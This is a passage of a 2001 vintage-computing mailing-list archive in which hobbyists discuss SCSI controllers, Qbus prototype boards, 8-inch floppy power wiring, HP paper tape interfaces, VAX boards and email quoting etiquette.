reasonable collection? In-Reply-To: <3B3C18F4.387485F4@internet1.net> Message-ID: <249.580T1350T8615475optimus@canit.se> Chad Fernandez skrev: >What? How am I ruining anybodys quoting? Yes, since you put your comments about the quoted material. It look like this: 4 >>>1 >>2 >3 -- En ligne avec Thor 2.6a. Computers are not intelligent. They only think they are. From optimus at canit.se Fri Jun 29 08:07:45 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:05 2005 Subject: Whats a reasonable collection? In-Reply-To: <15163.56826.525472.243288@phaduka.neurotica.com> Message-ID: <703.580T2250T8476143optimus@canit.se> Dave McGuire skrev: >On June 28, Iggy Drougge wrote: >> >Is it possible that maybe the existence of .ADF and .INF files is just a >> >brain-damaged Microsoft OS requirement? >> >> Nope, it's a braindead IBM/PC industry requirement. > Hmm...need them on EISA Alphas too, unfortunately. Granted, but the bus was invented by the PC industry, so they're to blame (albeit one could blame DEC for using it). -- En ligne avec Thor 2.6a. Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the universe trying to produce bigger and better idiots. So far, the universe is winning. -- Rick Cook, Mission Manager, NASA Mars Pathfinder Project From optimus at canit.se Fri Jun 29 08:15:15 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:05 2005 Subject: Whats a reasonable collection? In-Reply-To: <3B3C17DB.635DFCE7@internet1.net> Message-ID: <1309.580T750T8553995optimus@canit.se> Chad Fernandez skrev: >I have an EISA server built by Unisys, and I have some very nice SCSI >cards for it built by Adaptec and Buslogic. The only Adaptec card for >Microchannel is based in the 1540 series (ISA) and is only good for >5megs/sec, just like the ISA version. My EISA SCSI cards are good for >10 or 20megs/sec depending on the card. I wish Adaptec would have made >a 32-bit Microchannel card based on the 7800 series Adaptec chip, like >the EISA cards. Microchannel SCSI cards from Buslogic must be very >rare.... I haven't seen a single one on Ebay since I have been looking. >I haven't really looked into the IBM Fast/Wide because I really want a >differential card, and the Diff version seems to be RS6000 only. I suggest you have a look at Louis Ohland's pages at http://webpages.charter.net/ohlandl/. He's got info on just about every MCA card available, and just about every variation, too. >Besides it uses funky connectors and the cables seem to be quite rare. Well, that's true, but at least it's got a narrow header (all right, I don't think that there's any official card-edge SCSI connector, but IBM uses it, of course). -- En ligne avec Thor 2.6a. G? med i SUGA, Swedish Usergroup of Amiga! WWW: http://swedish.usergroup.amiga.tm/ BBS: 08-6582572, telnet://sua.ath.cx:42512 From cmcmanis at mcmanis.com Fri Jun 29 12:54:51 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:05 2005 Subject: Viking SCSI controller secrets? In-Reply-To: References: <5.0.0.25.2.20010628220842.01edc9f0@209.185.79.193> Message-ID: <5.0.0.25.2.20010629104633.027aeae0@209.185.79.193> At 10:00 AM 6/29/01 -0700, you wrote: > >Is there some secret lore about Viking SCSI controllers that I need to get > >them to work? > >The first thing you'll want to do is look here >ftp://zane.brouhaha.com/pub/dan/viking_scsi/ I actually have a copy of the manual. >OK, I'm getting really suspicious here after having read this whole thing. >I take it that the Aspire box came with the Viking board? What exactly >does the firmware say? BTW, the latest version of Viking Firmware I've >seen is V3.7, however, it sounds like you've might have Alphatronix >Firmware. Actually I've got *three* two with Alphatronix firmware and badged "Aspire" and one from TDS and is a real honest to goodness QDT. One of the Aspire ones came with an Aspire dual MO drive system and it works fine in that role. >I'm more than a little confused by the cable question. You should have a >50-pin cable going from the Viking board, to the RS232 block, and from it >you should have another 50-pin cable going to any drives. The aspire MO drive box has a SCSI IN, that then goes to a board that has an RS232 connector (marked as such) and the one to the MO drives. For the expansion box test I've been connecting them straight to the QDT board. The Viking manual indicates the RS232 thingy is "optional" so I figured it would work either way. >Also, what SCSI ID's are the RZ55's at? Make sure they're between 0-3. 0 and 1. >One word of warning, my VAXen don't rate Vikings, they're reserved for my >PDP-11's :^) So I've never tried using a Viking with a VAXen. Although >both my PDP-11/44 and PDP-11/73 use them (in the case of the /44 with >RZ55's). The Aspire box was running on a MVIII (in a tempest case!) New questions: Is the RS232 breakout cable required? If so can I create one? Where can I get a later firmware image? --Chuck From mmcfadden at cmh.edu Fri Jun 29 13:14:11 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:05:05 2005 Subject: commodore 2500 in Kansas City Message-ID: Wandering through the computer surplus I came across a commodore 2500 dumped in a box. I can't tell if it's complete. It was unusual enough for me to notice. Does anybody want it? I can make an offer for you and then ship it to you. There was a commodore 2000 manual next to it. Mike mmcfadden@cmh.edu From mark_k at totalise.co.uk Fri Jun 29 14:13:13 2001 From: mark_k at totalise.co.uk (Mark) Date: Sun Feb 27 19:05:05 2005 Subject: preserving / ressurecting old docs? Message-ID: Hi, On Fri, 22 Jun 2001 Bill Bradford wrote: > > Your best bet is to take the books and have the binding cut off > > professionally. Then scan in the pages one at a time (not two). I > > personally believe Adobe Acrobat is the best way of doing this. Although > > I realize there are people here that are against Adobe Acrobat. > > I'm scanning them in as 100dpi grayscale GIFs, then I will convert to > other format(s) and eventually to PDF. Scanning directly to PDF with > HP's software produces horrible output with compression artifacts. 100dpi is too low a resolution; it is little above monitor screen resolution, and small text may be illegible. Future OCR-ing of the scans would likely be unsuccessful too. A better alternative is to scan at a reasonably high resolution in monochome (two colours, black and white), say 300dpi or 600dpi. Most viewer software renders the scanned pages on-screen in greyscale anyway, and output when printed on paper is far better. Bilevel images compress losslessly very well, *much* better than greyscale. If there is spot colour in the original, it would in theory be possible to scan at equally high resolution with little impact on file size. (E.g. VAX/VMS manuals have some text in red, so there are essentially three colours; white, black and red.) You would have two images which could be overlaid on each other. If anyone knows of a software package that will work like that, please let me know. Depending on your scanner and the paper thickness, you may find that text from the opposite side of the page "shines through", especially in greyscale images. You can put a sheet of black card or similar on top of the page to be scanned to reduce this effect. -- Mark From mark_k at totalise.co.uk Fri Jun 29 14:13:23 2001 From: mark_k at totalise.co.uk (Mark) Date: Sun Feb 27 19:05:05 2005 Subject: Canofile 510 Message-ID: Hi, This is kind-of-on-topic given the recent thread on scanning old documentation. I recently picked up a Canon Canofile 510 document imaging system, and associated laser printer and external MO drive. I think these were sold cira 1992-1995. It has a 1280x960-pixel mono LCD screen. You load up sheets to be scanned and it pulls them in one-by-one. Can scan both sides of each sheet at once. Can scan up to A3 size, but this is pretty lame; you must fold A3 sheets in half before feeding them in. Maximum speed is (from memory) 50ppm for normal res. Fine res (200x200dpi) is half that. That resolution is lower than ideal, but I could still find some use scanning old manuals etc.; an electronic version is better than no electronic version at all. The Canofile is very proprietary; it has a built-in magneto-optical drive which uses 512MB double-sided disks. Transfer of scanned images to a PC (and saving in a standard format) is possible. The disks, apart from being double- sided, are physically the same shape as NeXT MO disks; not surprising since Canon made NeXT MO drives. Unfortunately, investigations so far suggest that reading NeXT MOs on a Canon drive (connected to a PC, Mac, Amiga or whatever) may not be possible. If anyone in the UK (or USA I guess; sending printed matter from USA to UK costs about $1 per lb) has a loose-leaf manual or two that they would like scanned I can give it a try. Quality won't be amazing, but should be sufficient. -- Mark From michael_davidson at pacbell.net Fri Jun 29 13:16:41 2001 From: michael_davidson at pacbell.net (Michael Davidson) Date: Sun Feb 27 19:05:05 2005 Subject: Unibus / Qbus bus drivers and receivers References: <200106291715.f5THFRR18478@narnia.int.dittman.net> Message-ID: <3B3CC609.851021BA@pacbell.net> Eric Dittman wrote: > > > I didn't mention what the target interface was - it is, in fact, IDE > > - and the thread on that topic (from some time last year, I think) is > > how I found this mailing list when I did a search to see if anyone > > had already done this. > > Have you looked at the schematics and drivers for the Ukranian > QBUS IDE interface? > No, I haven't - I have seen it mentioned somewhere but I couldn't find any details - do you have a link or some more information about it? From mjsnodgr at rockwellcollins.com Fri Jun 29 13:17:57 2001 From: mjsnodgr at rockwellcollins.com (mjsnodgr@rockwellcollins.com) Date: Sun Feb 27 19:05:05 2005 Subject: MCA & EISA SCSI (too many TLAs) Message-ID: I'll take a look this weekend. My collection has moved from my apartment bedroom (my wife is thrilled) to a friends two stall garage and the attic above it. (Well, half of one stall is taken up with an old VW bug and a VAX - not sure which one is bigger, but both run ) As far as EISA goes, narrow would be more than sufficient. - Micah S. Chad Fernandez on 06/29/2001 12:24:42 PM To: classiccmp@classiccmp.org, mjsnodgr@rockwellcollins.com cc: Subject: Re: Whats a reasonable collection? What is the brand is it? Is it Wide or narrow? What do you need in the way of an EISA SCSI board? I have a couple 174x series from Adaptec that aren't doing anything. Chad Fernandez Michigan, USA mjsnodgr@rockwellcollins.com wrote: > > I've got a MCA SCSI controller that I'm not using. It came to me in a box > of MCA and EISA stuff and was working when it was pulled from it's machine. > I was hoping to get an EISA SCSI controller.. Hmmm... if anyone in > interested in a swap.... > > - Micah S. From hans at vaxbusters.org Fri Jun 29 13:27:19 2001 From: hans at vaxbusters.org (=?ISO-8859-1?Q?Hans_H=FCbner?=) Date: Sun Feb 27 19:05:05 2005 Subject: CD Writer for a uVax II In-Reply-To: <011901c100b5$615dc3a0$8a0101ac@ibm23xhr06> Message-ID: On Fri, 29 Jun 2001, John Allain wrote: > I have an external SCSI TK50 (TK50Z?) and an > internal mVAX TK50. > Anyone ever used these off of PeeCee architecture? The TK50Z will work as a standard sequential access (i.e. tape) device on the SCSI bus. As long as the operating system driver supports SCSI-1 devices, the drive should be usable. -Hans -- finger hans@huebner.org for details From ard at p850ug1.demon.co.uk Fri Jun 29 13:02:53 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:05 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <20010629061229.13683.qmail@web9502.mail.yahoo.com> from "Ethan Dicks" at Jun 28, 1 11:12:29 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1113 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010629/2536bd4e/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jun 29 12:41:08 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:05 2005 Subject: HP2748A papertape reader : connector ? In-Reply-To: <5.1.0.14.1.20010628210740.00a282d0@mailhost.intellistar.net> from "joe" at Jun 28, 1 09:14:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2116 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010629/6ff60d9b/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jun 29 12:45:42 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:05 2005 Subject: WTB: 8" floppy In-Reply-To: <200106290154.UAA12437@caesar.cs.umn.edu> from "Lawrence LeMay" at Jun 28, 1 08:54:19 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 708 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010629/65cca0a0/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jun 29 13:16:29 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:05 2005 Subject: A little HP9877 info In-Reply-To: <200106291555.f5TFthH73738@daemonweed.reanimators.org> from "Frank McConnell" at Jun 29, 1 08:55:42 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2465 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010629/cf984e1a/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jun 29 12:53:40 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:05 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <3B3BF637.59F1B477@pacbell.net> from "Michael Davidson" at Jun 28, 1 08:29:59 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2212 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010629/f7b51116/attachment.ksh From edick at idcomm.com Fri Jun 29 13:51:23 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:05:05 2005 Subject: WTB: 8" floppy References: Message-ID: <003501c100cc$7e628a00$9cc762d8@idcomm.com> I'm not sure I go along with that. While it's advisable to check requirements before hooking up any device, I've got to say I've never seen an 8" drive that used the "conventional" DC supply connector for 8" drives, as defined by the Shugart folks, et al back in the '70's, that wouldn't work on precisely the same power configuration, using +24, +5, and -5 with the associated returns. While there were some drives that would tolerate -12 in place of the -5 if you jumpered them approproately, I've not seen any that would be damaged if you overlooked that detail and simply hooked up -5. Moreover, the majority of drives available by the mid-80's, admittedly late in the 8" drive's market life, didn't even require the negative voltage. Oddly enough, even the later 8" DC-powered drives from Shugart, Tandon, and others, used that same connector for their DC supplies, though several of them immediately regulated the +24 down to +12. NEC's DC-powered FD1165's, by the way, were a noteable exception in that they used the same little connector for power as the 3-1/2" drives use. That was why I gave away the ones that came into my possession. I don't know what their DC power requirements were. Dick ----- Original Message ----- From: "Fred Cisin (XenoSoft)" To: Sent: Friday, June 29, 2001 10:16 AM Subject: Re: WTB: 8" floppy > On Thu, 28 Jun 2001, Richard Erlacher wrote: > > The power requirements are the same, i.e. the DC supplies work for any > > of them, though not all drives require the negative supply, but the > > connectors for AC are often different for DS drives than for SS > > drives. Siemens FD800-2's are notable exceptions. > > NOT ALL 8" drives have the same power requirements! > > Check the power requirements and pinouts CAREFULLY before connecting! > Drives WILL be damaged if you connect "connectors that fit" without > confirming that the drive uses the same voltages on the same pins. > > From ethan_dicks at yahoo.com Fri Jun 29 13:53:26 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:05 2005 Subject: Back from the fleamarket In-Reply-To: <2477.580T1000T8604821optimus@canit.se> Message-ID: <20010629185326.65292.qmail@web9503.mail.yahoo.com> --- Iggy Drougge wrote: > Ethan Dicks skrev: > >> Then he had a KA410-A board, which my research tells me is either a µVAX > >> 2000 or a VAXstation 2000. > > >The difference is a jumper - enable the onboard frame buffer and look for > >a keyboard/mouse or ignore the frame buffer and expect there to be a level > >converter on the keyboard/mouse port and provide 4 TTYs. > > I don't suppose one could use the monitor/keyboard/mouse cable of a > VAXstation II GPX? I think it depends. The mouse and keyboard part are compatible, but I think DEC had a couple of standards for how to get those signals from the external peripheral connector into the CPU. You might need a VAXstation II GPX cable to which you can attach an LK201-ish keyboard (not PS/2) and a DEC puck mouse (+12V, not +5V supply). > Also, is there any chance that the Ethernet is disabled? I read somethiung to > that effect but don't know how to tell. At least it's got a small chip which > claims to contain the MAC address. Ethernet requires a daughter card with the LANCE chip on it. The connector is built in to the main board, but not the actual ethernet interface. Most of the VS2000s I've seen had Ethernet, most of the uVAX2000s did not. No real rule, except how much stuff cost and what the typical DEC customer was going to use something for. > >I'll trade you a 5380 chip for the uVAX board! No desoldering required! > > If only we weren't on separate continents. =) Since it's really my friends, > he'll take some coercing. True. I'm just worried that the KA410 board won't survive the desoldering experience (and the 5380 might not, either!). Some DEC boards do not like to give up their parts. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Fri Jun 29 14:09:20 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:05 2005 Subject: Zorro I vs Zorro II (was RE: Whats a reasonable collection?) In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2AD@BUSH02> Message-ID: <20010629190920.67171.qmail@web9503.mail.yahoo.com> --- "Davison, Lee" wrote: > There is no mention of any 12" x 12" form factor boards in > any of the C= technical refs. I have for all the OCS/ECS > machines up to A3000(T) This would have been in docs dating from 1984 through 1986 at the latest. When the German A2000 designs came back, _that_ was the first Zorro II implementation - PC-form-factor cards. I have personally seen a Zorro I expansion box. It was stolen from the Ohio State University Physics Demonstration Department days after it arrived (by a student employee who was later nailed for the break-in and theft). I know it had a memory card (2Mb IIRC) and it might have had a SCSI card, but I'm not positive about that. It has been more than 15 years, so I do not remember the brand name. If I happen to run across any ads in ancient Amiga World magazines, I will see about scanning one. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From dittman at dittman.net Fri Jun 29 14:18:38 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:05 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <3B3CC609.851021BA@pacbell.net> from "Michael Davidson" at Jun 29, 2001 11:16:41 AM Message-ID: <200106291918.f5TJIdV19011@narnia.int.dittman.net> > > > I didn't mention what the target interface was - it is, in fact, IDE > > > - and the thread on that topic (from some time last year, I think) is > > > how I found this mailing list when I did a search to see if anyone > > > had already done this. > > > > Have you looked at the schematics and drivers for the Ukranian > > QBUS IDE interface? > > > > No, I haven't - I have seen it mentioned somewhere but I couldn't find > any details - do you have a link or some more information about it? Yes it's on Zane's site at: ftp://zane.brouhaha.com/pub/dsu/ There's also a UNIBUS SCSI adapter there. -- Eric Dittman dittman@dittman.net From jfoust at threedee.com Fri Jun 29 14:17:51 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:05:05 2005 Subject: Zorro I vs Zorro II (was RE: Whats a reasonable collection?) In-Reply-To: <20010629190920.67171.qmail@web9503.mail.yahoo.com> References: <707AA588EE28D311BCD50090276D7D0007A2AD@BUSH02> Message-ID: <4.3.2.7.0.20010629141443.01c9d570@pc> At 12:09 PM 6/29/01 -0700, Ethan Dicks wrote: >I have personally seen a Zorro I expansion box. It was stolen from the >Ohio State University Physics Demonstration Department days after it >arrived (by a student employee who was later nailed for the break-in >and theft). I know it had a memory card (2Mb IIRC) and it might have >had a SCSI card, but I'm not positive about that. It has been more than >15 years, so I do not remember the brand name. Wasn't the first made by Byte-by-Byte, quite early on? Apart from the Sculpt 3D software (they're still selling last I checked,) they made this device as well as an A1000 joystick-port real-time clock. At the time, their hardware engineer was Brad Carvey, who later played a large part in the design of the Video Toaster, a popular video-effects device that kept the Amiga market alive for several years beyond the moment it might've died a natural death. :-) - John From engdahl at cle.ab.com Fri Jun 29 14:22:56 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:05:05 2005 Subject: qbus prototyping References: <3B3C6728.4588.121652A0@localhost> <3B3CCD65.8A422710@pacbell.net> Message-ID: <004701c100d0$eb1983c0$ac4099a1@rcs.ra.rockwell.com> Douglas Electronics appears to be still in business, and some Qbus proto boards are listed on their web page: http://www.douglas.com/hardware/pcbs/breadboards/digital.html http://209.35.53.132/hardware/pcbs/breadboards/digital.html I emailed Vector a month or two ago, and the person who answered me could find neither boards or knowledge of them: "Sorry, Jonathan, this is not something we make at present. We moved about 4 years ago and trashed a lot of the old dwgs. etc. It doesn't look familiar." -- Jonathan Engdahl Rockwell Automation Principal Research Engineer 24800 Tungsten Road Advanced Technology Euclid, OH 44117 USA Euclid Labs http://users.safeaccess.com/engdahl ----- Original Message ----- From: "Michael Davidson" To: Cc: "Jonathan Engdahl" Sent: Friday, June 29, 2001 2:48 PM Subject: Re: qbus prototyping > OK - actually I believe Jonathan already asked that question > earlier I just hadn't got around to replying to it and I didn't > notice that my reply went just to you and not to the entire list. > > Anyway, as you can see I have more stuff here than I could ever > use and I would be perfectly happy to part with one or two of > them if someone has a good use for them. > > Michael > > Brian Knittel wrote: > > > > Thanks for the detailed info, Michael. I'll forward > > it to Jonathan Engdahl -- maybe these part numbers > > will help him find a source for the things. Apparently > > most supply houses no longer even remember what qbus > > is. > > > > brian > > > > > > Brian Knittel wrote: > > > > > > > > Hi Michael, > > > > What sort of prototyping board are you planning on using? Someone > > > > was asking about the availability of prototype boards just a couple > > > > of weeks ago and no one responded. > > > > > > I have several Qbus prototype boards which I acquired last year as > > > part of an auction on eBay. I'm not sure yet which one I will use > > > for this particular project, but here's what I have ... > > > > > > 2 x DEC W943 > > > 1 x MDB MLSI-WWB1 > > > 2 x Douglas Electronics 9-DE-11 > > > 2 x Douglas Electronics 12-DE-11 > > > 1 x Douglas Electronics 9-DE-8 > > > 2 x Vector 4607 > > > > > > The DEC W943 is a dual height module originally populated with 25 x 16 > > > pin DIL sockets, complete with wire-wrap pins on the component side of > > > the board, power tracks and decoupling capacitors. On each of these > > > boards 2 of the DIL sockets have been removed to make way for a 40 pin > > > connector. > > > > > > The MDB MLSI-WWB1 is a dual height module laid out with power tracks, > > > solder pads and component side wire-wrap pins but no sockets. It could > > > accomodate 30 x 16 pin DIL sockets and up to 6" worth of up to .6" > > > pitch DIL sockets. > > > > > > The Douglas 9-DE-11 is a dual height card populated with 18 x 16 pin > > > DIL sockets and 2 x 40 way connectors. The board has power tracks and > > > decoupling capacitors already fitted. All connections to the sockets > > > and connectors are brought out to wirewrap pins on the component side > > > of the board. There is also an unpopulated area of the board where > > > you could mount up to 5.8" worth of up to .6" pitch DIL sockets. > > > > > > The Douglas 12-DE-11 is a dual height card populated with 18 x 16 pin > > > DIL sockets, and with two unpopulated areas each capable of holding > > > up to 5.8" worth of up to .6" pitch sockets. > > > > > > The Douglas 9-DE-8 is a quad height card laid out with power tracks > > > and solder pads for 60 x 16 pin DIL sockets, and an area where you > > > could mount up to 9.6" worth of up to .6" pitch DIL sockets. At the > > > top of the card there are solder pads for 4 x 40 way connectors. > > > This is a bare card with nothing mounted on it. > > > > > > The Vector 4607 is a dual height card, drilled on .1" pitch with solder > > > pads for connecting to the edge connector and nothing else. > > > > > > > > > A few of these cards had been used for (apparently unfinished) prototyping > > > efforts - they are all in good condition and should be reuseable without > > > any problems - the Douglas quad height card and the MDB dual height card > > > have obviously never been used and are in excellent condition. > > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > > _| _| _| Brian Knittel / Quarterbyte Systems, Inc. > > _| _| _| Tel: 1-510-559-7930 Fax: 1-510-525-6889 > > _| _| _| Email: brian@quarterbyte.com > > _| _| _| http://www.quarterbyte.com > From cmurillo at manizales.autonoma.edu.co Fri Jun 29 14:32:28 2001 From: cmurillo at manizales.autonoma.edu.co (Carlos Murillo) Date: Sun Feb 27 19:05:05 2005 Subject: Old stuff found + help identifying... References: <3.0.2.32.20010629073501.00ed5c3c@obregon.multi.net.co> Message-ID: <3B3CD7CC.417D4D8F@manizales.autonoma.edu.co> Thanks to everyone who replied! So far, the verdict is the following: 1) the modular systems are NGEN from Convergent Technologies; they have 80186 cpus, which make them B25 modules (thanks, Paxton) or CM001/8; they do operate from 36V externally supplied by one or more brick-style power supplies with RJ-style connectors; no hard disks were found with these, although, considering the manufacturing time frame, it is conceivable that they were entirely floppy-based; these units had dual floppy disk drives attached. I hauled a box with lots of docs and diskettes, but I have not had the time to go through it; the stuff might not be related to the Convergent systems. So, I need to (a) find a way to provide these systems with 36VDC, and (b) look for any related floppies; it may be that these machines can't be used without a password. 2) The Datapoing 1550 seems to be a diskless computer; there is a connector in the back that might have been used to connect a floppy disk drive or something else. I have spotted a couple of burned caps in the power supply (the computer smelled, so it was clear from the beginning that I could not take the chance of turning it on unchecked). There is a card cage in it, but I haven't taken anything but the cover off. carlos. -- Carlos E. Murillo-Sanchez email: carlos_murillo@ieee.org Universidad Autonoma de Manizales, Manizales, Colombia From optimus at canit.se Fri Jun 29 13:48:22 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:05 2005 Subject: OS/2 In-Reply-To: <200106291301.f5TD1gr18998@bg-tc-ppp0.monmouth.com> Message-ID: <673.580T1100T11884873optimus@canit.se> Bill Pechter skrev: >> >Getting a prompt and login from Telnet was possible on OS/2 when it >> >wasn't standard in NT. >> >> Possible != standard. >Yup... Possible=standard. You just have to enable it in the configs >and have the services start at boot time. (They even can run out of >inetd.conf.) But was it shipped with a telnet d?mon in the box? And why wouldn't it run out of inetd.conf, isn't that standard behaviour? >OS/2 is pretty slick for an OS that runs Win apps. Once again, I beg to differ. -- En ligne avec Thor 2.6a. Haben Sie schon mal einen Wegweiser gesehen, der selbst den Weg geht, den er weist? --- Ludwig XV (K?nig von Frankreich, 1710-1774) From optimus at canit.se Fri Jun 29 13:53:54 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:05 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <3B3C7E7F.A5458419@idirect.com> Message-ID: <612.580T2700T11936229optimus@canit.se> Jerome Fine skrev: >In the past there has been some talk of a Qbus host adapter for >both SCSI and IDE drivers which emulates MSCP. I don't know >if Mentec acquired the rights to the MSCP patents, but if not >then Compaq is not likely to care at this point and in any case >if the patents for MSCP have expired, then there won't be a problem. Why would patents in any way be relevant? People have emulated since the beginning of time, regardless of patents. In a way, that's how the PC clone business came about. -- En ligne avec Thor 2.6a. Life begins at '030. Fun begins at '040. Impotence begins at '86. From west at tseinc.com Sat Jun 30 02:44:35 2001 From: west at tseinc.com (Jay West) Date: Sun Feb 27 19:05:05 2005 Subject: HP2748A papertape reader : connector ? References: Message-ID: <005301c10138$82f0cca0$7c8953d1@jay> The 2748A/B paper tape reader uses the "8-bit duplex register interface". That would lead me to believe it's an 8 bit interface, not a 16 bit one. I have full docs (& schematics I believe) for both the 2748B and the 8-bit duplex register interface board. I have two of those units presently running, so I can get the cable pinout too if you'd like (but I believe the cable diagram is in the interface manual). Let me know if you still need them. One word of caution about the facit 4070 punch... as I found out when I got mine - the facit had a board in it that was replaced depending on what electrical spec the system you were attaching it to used. I seem to recall that you had to specify which (of many) interfaces you wanted on the punch when you ordered it. So just because you find a 4070 punch doesn't mean it has the right board in it to hook up to the 8-bit duplex register board (hp punches and readers both used the 8-bit duplex register board). Matter of fact, unless it was found with an HP system, it probably DOESN'T have the right board for the HP. You can't tell from the outside either, as I've seen the RS-232 interface board in the punch presents a DB25 externally - just the same as the HP version of the card does (which is decidedly NOT RS-232). Jay West ----- Original Message ----- From: Tony Duell To: Sent: Friday, June 29, 2001 12:41 PM Subject: Re: HP2748A papertape reader : connector ? > > > > At 09:22 PM 6/28/01 +0200, you wrote: > > > > >A recent dumpster dive yielded a HP2748A papertape reader. Does anyone have > > >the interface spec's for this device handy ? > > > > > > I think *some* of HP's paper tape punches and readers use the 82032 > > parallel interface. It's a 16 bit parallel interface with several > > > I suspect this is highly likely since the 16 bit parallel interfaces, > like the 82032, 98032 (for the 9825, etc) were used for many character-based > (and other) peripherals. > > > additional handshaking lines. Each data line can be set as Input only, > > I would be suprised if a paper tape reader used all the capabilities of > that interface, though. Most likely there are 8 outputs from the tape > reader (1 per data track), a data strobe signal (produced from the > sprocket track, and either an input signal to cause the reader to advance > one character (and read it) or one to start the tape moving, whereupon > you get data strobes every so many ms. Maybe signals for error (tape run > out, etc) and direction control > > There's not that much you need for a paper tape reader after all... > > > Output only or In and Out. I think have one around here somewhere that came > > off of a PT punch. You should have grabbed the PT punch, I think the Facit > > is what HP used or perhaps I should say one of the ones that they > > The Facit 4070 is what _everyone_ used :-). Yes, HP used it for a time > (one of the options for the 98032 is certainly to connect to a 4070, and > it was used with larger machines as well). So did Philips (on the P800 > series). I've got a 3rd party card to link it to the DEC Unibus, and > information on a similar card for Omnibus. Oh, and my Fluke DVM system > has an option card to drive the 4070. > > I've even seen other paper tape punches (Trend made one based on the GNT > Model 34 mechanism) that have the same interface. The 4070 was almost a > de facto standard for paper tape punches. > > > used. What kind of connector is on your PT reader? I think most of the > > If its's the unit I'm thinking of, it's a connector similar to the ones > used for V.35 interfaces. > > -tony > > From marvin at rain.org Fri Jun 29 14:44:27 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:05:05 2005 Subject: Whats a reasonable collection? References: <249.580T1350T8615475optimus@canit.se> Message-ID: <3B3CDA9B.B62280DB@rain.org> Personally, I would rather see a persons comments *above* the quoted material. That way, I read instantly if I am interested rather than have to scroll down. And yes, I am lazy although I would sometimes prefer to call it efficient :). Iggy Drougge wrote: > > Chad Fernandez skrev: > > >What? How am I ruining anybodys quoting? > > Yes, since you put your comments about the quoted material. > > It look like this: > > 4 > >>>1 > >>2 > >3 > > -- > En ligne avec Thor 2.6a. > > Computers are not intelligent. They only think they are. From ethan_dicks at yahoo.com Fri Jun 29 15:07:52 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:05 2005 Subject: Article quoting (was Re: Whats a reasonable collection?) In-Reply-To: <3B3CDA9B.B62280DB@rain.org> Message-ID: <20010629200752.68896.qmail@web9504.mail.yahoo.com> --- Marvin wrote: > > Personally, I would rather see a persons comments *above* the quoted > material. That way, I read instantly if I am interested rather than have to > scroll down. And yes, I am lazy although I would sometimes prefer to call it > efficient :). And _my_ preference is to keep things in chronological order and with the new comments interspersed for context. Oh, yeah, and with the irrelevant stuff *not* quoted. Unfortunately, this is the style of yester-year, of 1200-baud UUCP feeds and old Usenet. None of this is easy to do with MicroSloth products. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From optimus at canit.se Fri Jun 29 16:12:07 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:05 2005 Subject: Back from the fleamarket In-Reply-To: <20010629185326.65292.qmail@web9503.mail.yahoo.com> Message-ID: <2154.580T350T13323903optimus@canit.se> Ethan Dicks skrev: >--- Iggy Drougge wrote: >> Ethan Dicks skrev: >> >> Then he had a KA410-A board, which my research tells me is either a ?VAX >> >> 2000 or a VAXstation 2000. >> >> >The difference is a jumper - enable the onboard frame buffer and look for >> >a keyboard/mouse or ignore the frame buffer and expect there to be a level >> >converter on the keyboard/mouse port and provide 4 TTYs. >> >> I don't suppose one could use the monitor/keyboard/mouse cable of a >> VAXstation II GPX? >I think it 